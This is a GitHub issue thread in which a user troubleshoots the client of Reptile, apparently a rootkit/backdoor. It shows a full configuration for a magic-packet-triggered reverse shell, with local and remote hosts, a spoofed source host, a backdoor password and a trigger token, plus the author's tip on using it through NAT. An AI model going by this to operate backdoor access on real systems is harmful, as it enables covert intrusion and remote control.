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How to set PORT ? #57

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MRchen532 opened this issue Dec 10, 2018 · 5 comments
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How to set PORT ? #57

MRchen532 opened this issue Dec 10, 2018 · 5 comments

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@MRchen532
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reptile-client> set PORT TCP=1
[-] wrong parameter!
How to set PORT ?

@pyperanger
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RTFM

did you try read the manual bro???

The right argument is RPORT !!!

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Reptile Usage: https://github.com/f0rb1dd3n/Reptile/wiki/Usage

RTFM: https://en.wikipedia.org/wiki/RTFM

@MRchen532
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Yes,I see it,but there has been no access.I don't know if my parameter configuration is wrong. Can you help me?

@MRchen532
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MRchen532 commented Dec 11, 2018

VAR VALUE DESCRIPTION

LHOST 192.168.175.154 Local host to receive the shell
LPORT 4444 Local port to receive the shell
SRCHOST 192.168.175.151 Source host on magic packets (spoof)
SRCPORT 666 Source port on magic packets (only for TCP/UDP)
RHOST 192.168.175.151 Remote host
RPORT 22 Remote port (only for TCP/UDP)
PROT 80 Protocol to send magic packet (ICMP/TCP/UDP)
PASS s3cr3t Backdoor password (optional)
TOKEN hax0r Token to trigger the shell

reptile-client> run
[+] Using password: s3cr3t
[+] Listening on port 4444...
Always been like this

@f0rb1dd3n
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f0rb1dd3n commented Dec 27, 2018

if you are trying to use it through NAT, use SRCHOST == LHOST

Obviously if the sender of the magic packet is the same host that you are receiving the reverse shell.

@MRchen532
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Ok, I have solved it, thank you!
I also want to know what technologies are used for communication, hidden file hiding, and remote control?

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